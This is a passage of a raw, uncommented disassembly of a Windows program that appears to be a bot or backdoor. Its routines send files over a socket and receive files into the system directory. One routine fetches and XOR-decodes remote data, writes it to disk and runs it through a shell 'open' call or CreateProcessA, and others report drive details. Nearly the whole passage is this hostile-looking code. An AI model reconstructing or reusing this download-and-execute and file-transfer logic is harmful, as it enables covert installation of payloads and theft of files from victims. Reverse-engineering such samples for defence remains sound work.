call dword_43C490
mov [ebp+var_4], eax
lea eax, [ebp+var_1E0]
push eax
mov [ebp+arg_0], esi
call sub_415B10
pop ecx
loc_40B6D8: ; CODE XREF: sub_40B61A+EFj
mov ecx, [ebp+arg_0]
mov al, [ebp+ecx+var_1E0]
cmp al, 20h
jnz short loc_40B6EB
push 5Fh
pop eax
jmp short loc_40B6EE
; ---------------------------------------------------------------------------
loc_40B6EB: ; CODE XREF: sub_40B61A+CAj
movsx eax, al
loc_40B6EE: ; CODE XREF: sub_40B61A+CFj
mov [ebp+ecx+var_604], al
lea eax, [ebp+var_1E0]
inc ecx
push eax
mov [ebp+arg_0], ecx
call sub_415B10
cmp [ebp+arg_0], eax
pop ecx
jbe short loc_40B6D8
push ebx
push edi
call dword_43C57C
test eax, eax
jz short loc_40B721
push offset dword_42BBA4
jmp loc_40B821
; ---------------------------------------------------------------------------
loc_40B721: ; CODE XREF: sub_40B61A+FBj
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp+var_1E0]
push 80000000h
push eax
call dword_421078 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_40B74B
push offset dword_42BCD8
jmp loc_40B821
; ---------------------------------------------------------------------------
loc_40B74B: ; CODE XREF: sub_40B61A+125j
push esi
push eax
call dword_421090 ; GetFileSize
mov [ebp+arg_0], eax
push eax
movzx eax, word ptr [ebp+var_4]
push eax
push [ebp+var_1FC]
call sub_40A08A
pop ecx
push eax
call dword_43C594
push eax
call dword_43C550
push eax
lea eax, [ebp+var_1E0]
push eax
lea eax, [ebp+var_3FC]
push offset dword_42BCC0
push eax
call sub_415316
push esi
lea eax, [ebp+var_3FC]
push esi
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_412BD1
add esp, 2Ch
lea eax, [ebp+var_38]
mov [ebp+var_38], 3Ch
mov [ebp+var_34], esi
push eax
push esi
lea eax, [ebp+var_500]
push esi
push eax
push esi
mov [ebp+var_4FC], edi
mov [ebp+var_500], ebx
call dword_43C53C
test eax, eax
jg short loc_40B7FB
push esi
lea eax, [ebp+var_DC]
push [ebp+var_54]
push offset dword_42BC94
push eax
push [ebp+var_1FC]
call sub_412BD1
jmp loc_40B91F
; ---------------------------------------------------------------------------
loc_40B7FB: ; CODE XREF: sub_40B61A+1BFj
lea eax, [ebp+var_14]
mov [ebp+var_14], 10h
push eax
lea eax, [ebp+var_48]
push eax
push edi
call dword_43C5E8
cmp eax, 0FFFFFFFFh
mov [ebp+var_1F8], eax
jnz short loc_40B834
push offset dword_42BC5C
loc_40B821: ; CODE XREF: sub_40B61A+49j
; sub_40B61A+87j ...
lea eax, [ebp+var_3FC]
push eax
call sub_415316
pop ecx
pop ecx
jmp loc_40B922
; ---------------------------------------------------------------------------
loc_40B834: ; CODE XREF: sub_40B61A+200j
push edi
call dword_43C5EC
cmp [ebp+arg_0], esi
jz loc_40B8E6
mov edi, 400h
loc_40B849: ; CODE XREF: sub_40B61A+2C3j
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
cmp eax, edi
jge short loc_40B856
mov [ebp+var_4], eax
loc_40B856: ; CODE XREF: sub_40B61A+237j
push edi
lea eax, [ebp+var_A04]
push esi
push eax
call sub_415390
mov eax, [ebp+arg_0]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push [ebp+var_8]
call dword_4210AC ; SetFilePointer
lea eax, [ebp+var_20]
push esi
push eax
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_8]
call dword_421068 ; ReadFile
push esi
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_1F8]
call dword_43C5A4
mov [ebp+var_4], eax
push esi
cdq
add [ebp+var_10], eax
lea eax, [ebp+var_A04]
push edi
push eax
push [ebp+var_1F8]
adc [ebp+var_C], edx
call dword_43C56C
cmp eax, ebx
jl loc_40B97B
mov eax, [ebp+var_4]
cmp eax, ebx
jl loc_40B97B
sub [ebp+arg_0], eax
jnz loc_40B849
mov edi, [ebp+var_18]
loc_40B8E6: ; CODE XREF: sub_40B61A+224j
push [ebp+var_8]
call dword_42106C ; CloseHandle
push [ebp+var_C]
push [ebp+var_10]
call sub_40C10D
pop ecx
pop ecx
push eax
lea eax, [ebp+var_1E0]
push eax
push [ebp+var_44]
call dword_43C5E0
push eax
lea eax, [ebp+var_3FC]
push offset dword_42BC08
push eax
call sub_415316
loc_40B91F: ; CODE XREF: sub_40B61A+1DCj
add esp, 14h
loc_40B922: ; CODE XREF: sub_40B61A+215j
cmp [ebp+var_50], esi
jnz short loc_40B947
push esi
lea eax, [ebp+var_3FC]
push [ebp+var_54]
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_412BD1
add esp, 14h
loc_40B947: ; CODE XREF: sub_40B61A+30Bj
lea eax, [ebp+var_3FC]
push eax
call sub_40B078
cmp edi, esi
pop ecx
jbe short loc_40B95F
push edi
call dword_43C5EC
loc_40B95F: ; CODE XREF: sub_40B61A+33Cj
push [ebp+var_1F8]
call dword_43C5EC
push [ebp+var_58]
call sub_4150F0
pop ecx
push esi
call dword_421048 ; ExitThread
loc_40B97B: ; CODE XREF: sub_40B61A+2AFj
; sub_40B61A+2BAj
push esi
mov esi, offset dword_42BBDC
push [ebp+var_54]
lea eax, [ebp+var_DC]
push esi
push eax
push [ebp+var_1FC]
call sub_412BD1
push esi
call sub_40B078
add esp, 18h
push [ebp+var_1F8]
call dword_43C5EC
push [ebp+var_58]
call sub_4150F0
pop ecx
push ebx
call dword_421048 ; ExitThread
sub_40B61A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B9BC proc near ; DATA XREF: sub_40CD3A+77Co
var_14C4 = byte ptr -14C4h
var_4C4 = byte ptr -4C4h
var_2C4 = byte ptr -2C4h
var_1C0 = dword ptr -1C0h
var_1B8 = byte ptr -1B8h
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_415B90
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1C0]
rep movsd
xor esi, esi
xor ebx, ebx
inc esi
push 104h
mov [eax+1B0h], esi
lea eax, [ebp+var_2C4]
push eax
mov [ebp+var_8], ebx
call dword_421058 ; GetSystemDirectoryA
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_2C4]
push offset aSS_2 ; "%s%s"
push eax
call sub_415316
add esp, 10h
lea eax, [ebp+var_2C4]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
call dword_421078 ; CreateFileA
cmp eax, 0FFFFFFFFh
jnz short loc_40BA46
push offset dword_42BE50
jmp short loc_40BA8C
; ---------------------------------------------------------------------------
loc_40BA46: ; CODE XREF: sub_40B9BC+81j
push eax
call dword_42106C ; CloseHandle
lea eax, [ebp+var_2C4]
push offset aAB ; "a+b"
push eax
call sub_415A08
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jnz short loc_40BA6E
push offset dword_42BE0C
jmp short loc_40BA8C
; ---------------------------------------------------------------------------
loc_40BA6E: ; CODE XREF: sub_40B9BC+A9j
push [ebp+var_20]
lea eax, [ebp+var_1B8]
push eax
call sub_40B3D3
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+arg_0], eax
jnz short loc_40BA9F
push offset dword_42BDD8
loc_40BA8C: ; CODE XREF: sub_40B9BC+88j
; sub_40B9BC+B0j
lea eax, [ebp+var_4C4]
push eax
call sub_415316
pop ecx
pop ecx
jmp loc_40BB99
; ---------------------------------------------------------------------------
loc_40BA9F: ; CODE XREF: sub_40B9BC+C9j
mov esi, 1000h
loc_40BAA4: ; CODE XREF: sub_40B9BC+14Ej
push esi
lea eax, [ebp+var_14C4]
push ebx
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_14C4]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_43C56C
mov edi, eax
cmp edi, ebx
jz loc_40BB6B
cmp edi, 0FFFFFFFFh
jz short loc_40BB0C
push [ebp+var_4]
lea eax, [ebp+var_14C4]
push edi
push 1
push eax
call sub_41761F
add [ebp+var_8], edi
add esp, 10h
push [ebp+var_8]
call dword_43C550
mov [ebp+var_C], eax
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push [ebp+arg_0]
call dword_43C5A4
jmp short loc_40BAA4
; ---------------------------------------------------------------------------
loc_40BB0C: ; CODE XREF: sub_40B9BC+118j
lea eax, [ebp+var_4C4]
push offset dword_42BBDC
push eax
call sub_415316
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_412BD1
lea eax, [ebp+var_4C4]
push eax
call sub_40B078
push [ebp+var_4]
call sub_415960
add esp, 24h
push [ebp+arg_0]
call dword_43C5EC
push [ebp+var_1C]
call sub_4150F0
pop ecx
push 1
call dword_421048 ; ExitThread
loc_40BB6B: ; CODE XREF: sub_40B9BC+10Fj
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_40C10D
push eax
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_4C4]
push offset dword_42BD80
push eax
call sub_415316
add esp, 1Ch
loc_40BB99: ; CODE XREF: sub_40B9BC+DEj
cmp [ebp+var_14], ebx
jnz short loc_40BBBE
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_412BD1
add esp, 14h
loc_40BBBE: ; CODE XREF: sub_40B9BC+1E0j
lea eax, [ebp+var_4C4]
push eax
call sub_40B078
cmp [ebp+var_4], ebx
pop ecx
jz short loc_40BBD9
push [ebp+var_4]
call sub_415960
pop ecx
loc_40BBD9: ; CODE XREF: sub_40B9BC+212j
cmp [ebp+arg_0], ebx
jbe short loc_40BBE7
push [ebp+arg_0]
call dword_43C5EC
loc_40BBE7: ; CODE XREF: sub_40B9BC+220j
push [ebp+var_1C]
call sub_4150F0
pop ecx
push ebx
call dword_421048 ; ExitThread
sub_40B9BC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BBF7 proc near ; DATA XREF: sub_40CD3A+3646o
; sub_40CD3A+3DA2o
var_590 = qword ptr -590h
var_584 = qword ptr -584h
var_510 = byte ptr -510h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_2E4 = dword ptr -2E4h
var_2E0 = word ptr -2E0h
var_2CC = dword ptr -2CCh
var_2C8 = byte ptr -2C8h
var_248 = byte ptr -248h
var_148 = byte ptr -148h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp+var_2CC]
rep movsd
xor edi, edi
xor esi, esi
inc edi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp+var_248]
push esi
push eax
push dword_43C504
call dword_43C464
cmp eax, esi
mov [ebp+var_18], eax
jz loc_40C070
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp+var_148]
push 40000000h
push eax
call dword_421078 ; CreateFileA
cmp eax, edi
mov [ebp+var_20], eax
jnb short loc_40BCBE
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset unk_42C11C
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_40BCA1
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412BD1
add esp, 14h
loc_40BCA1: ; CODE XREF: sub_40BBF7+88j
lea eax, [ebp+var_510]
push eax
call sub_40B078
push [ebp+var_48]
call sub_4150F0
pop ecx
pop ecx
push esi
call dword_421048 ; ExitThread
loc_40BCBE: ; CODE XREF: sub_40BBF7+68j
xor edi, edi
call dword_42104C ; GetTickCount
mov ebx, 7D000h
mov dword ptr [ebp+var_8+4], eax
push ebx
call sub_415BE9
pop ecx
mov [ebp+var_1C], eax
loc_40BCD8: ; CODE XREF: sub_40BBF7+1A9j
push 200h
lea eax, [ebp+var_510]
push esi
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_510]
push 200h
push eax
push [ebp+var_18]
call dword_43C46C
cmp [ebp+var_34], esi
jz short loc_40BD1C
push [ebp+arg_0]
lea eax, [ebp+var_510]
push eax
call sub_40C0D6
pop ecx
pop ecx
loc_40BD1C: ; CODE XREF: sub_40BBF7+112j
lea eax, [ebp+var_24]
push esi
push eax
lea eax, [ebp+var_510]
push [ebp+arg_0]
push eax
push [ebp+var_20]
call dword_421070 ; WriteFile
cmp edi, ebx
jnb short loc_40BD5A
mov eax, ebx
sub eax, edi
cmp eax, [ebp+arg_0]
jbe short loc_40BD44
mov eax, [ebp+arg_0]
loc_40BD44: ; CODE XREF: sub_40BBF7+148j
push eax
lea eax, [ebp+var_510]
push eax
mov eax, [ebp+var_1C]
add eax, edi
push eax
call sub_4153F0
add esp, 0Ch
loc_40BD5A: ; CODE XREF: sub_40BBF7+13Fj
add edi, [ebp+arg_0]
cmp [ebp+var_3C], esi
jz short loc_40BD67
cmp edi, [ebp+var_3C]
ja short loc_40BDA6
loc_40BD67: ; CODE XREF: sub_40BBF7+169j
mov eax, edi
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
mov eax, [ebp+var_48]
imul eax, 234h
add eax, offset dword_4414C8
cmp [ebp+var_44], 1
jz short loc_40BD8F
push offset unk_42C0D0
jmp short loc_40BD94
; ---------------------------------------------------------------------------
loc_40BD8F: ; CODE XREF: sub_40BBF7+18Fj
push offset unk_42C088
loc_40BD94: ; CODE XREF: sub_40BBF7+196j
push eax
call sub_415316
add esp, 10h
cmp [ebp+arg_0], esi
ja loc_40BCD8
loc_40BDA6: ; CODE XREF: sub_40BBF7+16Ej
cmp [ebp+var_3C], esi
mov [ebp+var_14], 1
jz short loc_40BDFB
cmp edi, [ebp+var_3C]
jz short loc_40BDFB
push [ebp+var_3C]
lea eax, [ebp+var_510]
mov [ebp+var_14], esi
push edi
push offset unk_42C040
push eax
call sub_415316
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412BD1
lea eax, [ebp+var_510]
push eax
call sub_40B078
add esp, 28h
loc_40BDFB: ; CODE XREF: sub_40BBF7+1B9j
; sub_40BBF7+1BEj
call dword_42104C ; GetTickCount
sub eax, dword ptr [ebp+var_8+4]
xor edx, edx
mov ecx, 3E8h
push [ebp+var_20]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call dword_42106C ; CloseHandle
push [ebp+var_1C]
call sub_415C9B
cmp [ebp+var_38], esi
pop ecx
jz short loc_40BE85
lea eax, [ebp+var_148]
push eax
call sub_40B363
cmp eax, [ebp+var_38]
pop ecx
jz short loc_40BE85
push [ebp+var_38]
mov [ebp+var_14], esi
push eax
lea eax, [ebp+var_510]
push offset unk_42C004
push eax
call sub_415316
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412BD1
lea eax, [ebp+var_510]
push eax
call sub_40B078
add esp, 28h
loc_40BE85: ; CODE XREF: sub_40BBF7+236j
; sub_40BBF7+248j
cmp [ebp+var_14], esi
jz loc_40C0BD
cmp [ebp+var_44], 1
push ecx
lea eax, [ebp+var_148]
push ecx
jz loc_40BF80
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_421660
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_421660
fstp [esp+590h+var_590]
push offset unk_42BFB8
push eax
call sub_415316
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_40BF00
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412BD1
add esp, 14h
loc_40BF00: ; CODE XREF: sub_40BBF7+2E7j
lea eax, [ebp+var_510]
push eax
call sub_40B078
cmp [ebp+var_40], 1
pop ecx
jnz loc_40C0BD
push 5
push esi
lea eax, [ebp+var_148]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_43C4C8
cmp [ebp+var_30], esi
jnz loc_40C0BD
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset dword_42BF7C
push eax
call sub_415316
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412BD1
lea eax, [ebp+var_510]
push eax
call sub_40B078
add esp, 24h
jmp loc_40C0BD
; ---------------------------------------------------------------------------
loc_40BF80: ; CODE XREF: sub_40BBF7+2A3j
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_421660
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_421660
fstp [esp+590h+var_590]
push offset unk_42BF28
push eax
call sub_415316
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_40BFE0
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412BD1
add esp, 14h
loc_40BFE0: ; CODE XREF: sub_40BBF7+3C7j
lea eax, [ebp+var_510]
push eax
call sub_40B078
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_415390
push 44h
lea eax, [ebp+var_310]
pop edi
push edi
push esi
push eax
call sub_415390
add esp, 1Ch
lea eax, [ebp+var_10]
mov [ebp+var_310], edi
xor edi, edi
push eax
lea eax, [ebp+var_310]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp+var_148]
push esi
inc edi
push eax
push esi
mov [ebp+var_304], offset byte_43B188
mov [ebp+var_2E4], edi
mov [ebp+var_2E0], si
call dword_4210EC ; CreateProcessA
cmp eax, edi
jnz short loc_40C062
call dword_43C4B4
call sub_409D34
push esi
call dword_421114 ; ExitProcess
loc_40C062: ; CODE XREF: sub_40BBF7+457j
lea eax, [ebp+var_148]
push eax
push offset unk_42BED8
jmp short loc_40C07C
; ---------------------------------------------------------------------------
loc_40C070: ; CODE XREF: sub_40BBF7+45j
lea eax, [ebp+var_248]
push eax
push offset unk_42BE94
loc_40C07C: ; CODE XREF: sub_40BBF7+477j
lea eax, [ebp+var_510]
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_40C0B0
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412BD1
add esp, 14h
loc_40C0B0: ; CODE XREF: sub_40BBF7+497j
lea eax, [ebp+var_510]
push eax
call sub_40B078
pop ecx
loc_40C0BD: ; CODE XREF: sub_40BBF7+291j
; sub_40BBF7+31Aj ...
push [ebp+var_18]
call dword_43C588
push [ebp+var_48]
call sub_4150F0
pop ecx
push esi
call dword_421048 ; ExitThread
sub_40BBF7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40C0D6 proc near ; CODE XREF: sub_40BBF7+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_40C0F2
loc_40C0E2: ; CODE XREF: sub_40C0D6+1Aj
mov dl, byte_42C260
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_40C0E2
locret_40C0F2: ; CODE XREF: sub_40C0D6+Aj
retn
sub_40C0D6 endp
; =============== S U B R O U T I N E =======================================
sub_40C0F3 proc near ; CODE XREF: sub_40CD3A+2878p
; sub_40CD3A+29E5p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_417729
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_40C0F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C10D proc near ; CODE XREF: sub_4062F7+462p
; sub_4062F7+5FEp ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_440910
push 0
push edi
call sub_415390
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_40C132: ; CODE XREF: sub_40C10D+5Bj
; sub_40C10D+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_417100
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_417180
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_40C170
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_40C132
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_40C132
; ---------------------------------------------------------------------------
loc_40C170: ; CODE XREF: sub_40C10D+4Bj
mov eax, edi
jmp short loc_40C179
; ---------------------------------------------------------------------------
loc_40C174: ; CODE XREF: sub_40C10D+72j
mov cl, [esi]
mov [eax], cl
inc eax
loc_40C179: ; CODE XREF: sub_40C10D+65j
dec esi
lea ecx, [ebp+var_38]
cmp esi, ecx
jnb short loc_40C174
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_40C10D endp
; =============== S U B R O U T I N E =======================================
sub_40C18B proc near ; CODE XREF: sub_40C337+51p
; sub_40C337+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_43C5B4
sub eax, 0
jz short loc_40C1CE
dec eax
jz short loc_40C1C8
dec eax
dec eax
jz short loc_40C1C2
dec eax
jz short loc_40C1BC
dec eax
jz short loc_40C1B6
dec eax
jz short loc_40C1B0
mov eax, offset word_42B864
retn
; ---------------------------------------------------------------------------
loc_40C1B0: ; CODE XREF: sub_40C18B+1Dj
mov eax, offset aRam ; "RAM"
retn
; ---------------------------------------------------------------------------
loc_40C1B6: ; CODE XREF: sub_40C18B+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_40C1BC: ; CODE XREF: sub_40C18B+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_40C1C2: ; CODE XREF: sub_40C18B+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_40C1C8: ; CODE XREF: sub_40C18B+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_40C1CE: ; CODE XREF: sub_40C18B+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_40C18B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C1D4 proc near ; CODE XREF: sub_40C21C+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_43C450
test eax, eax
jz short loc_40C209
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax
loc_40C209: ; CODE XREF: sub_40C1D4+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_40C1D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C21C proc near ; CODE XREF: sub_40A9D8+1F3p
; sub_40C337+17p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_40C1D4
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_40C2F4
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_40C2F4
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_40C2F4
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_417770
push edx
push eax
call sub_40C10D
mov edi, offset aSkb ; "%sKB"
push eax
mov esi, 80h
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_41588A
add esp, 18h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_417770
push edx
push eax
call sub_40C10D
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_41588A
add esp, 18h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_417770
push edx
push eax
call sub_40C10D
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_41588A
add esp, 18h
pop ebx
jmp short loc_40C323
; ---------------------------------------------------------------------------
loc_40C2F4: ; CODE XREF: sub_40C21C+2Cj
; sub_40C21C+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_415316
lea eax, [ebp+var_118]
push esi
push eax
call sub_415316
lea eax, [ebp+var_98]
push esi
push eax
call sub_415316
add esp, 18h
loc_40C323: ; CODE XREF: sub_40C21C+D6j
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_40C21C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C337 proc near ; CODE XREF: sub_40C409+17p
; sub_40C409+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_40C21C
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_415730
add esp, 10h
test eax, eax
jnz short loc_40C3AA
push ebx
push ebx
call sub_40C18B
pop ecx
push eax
push offset dword_42C1E8
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41588A
add esp, 14h
jmp short loc_40C3DE
; ---------------------------------------------------------------------------
loc_40C3AA: ; CODE XREF: sub_40C337+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_40C18B
pop ecx
push eax
push offset dword_42C198
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41588A
add esp, 20h
loc_40C3DE: ; CODE XREF: sub_40C337+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
lea eax, [ebp+var_500]
push eax
call sub_40B078
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_40C337 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C409 proc near ; CODE XREF: sub_40CD3A+51BEp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_40C42A
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40C337
add esp, 10h
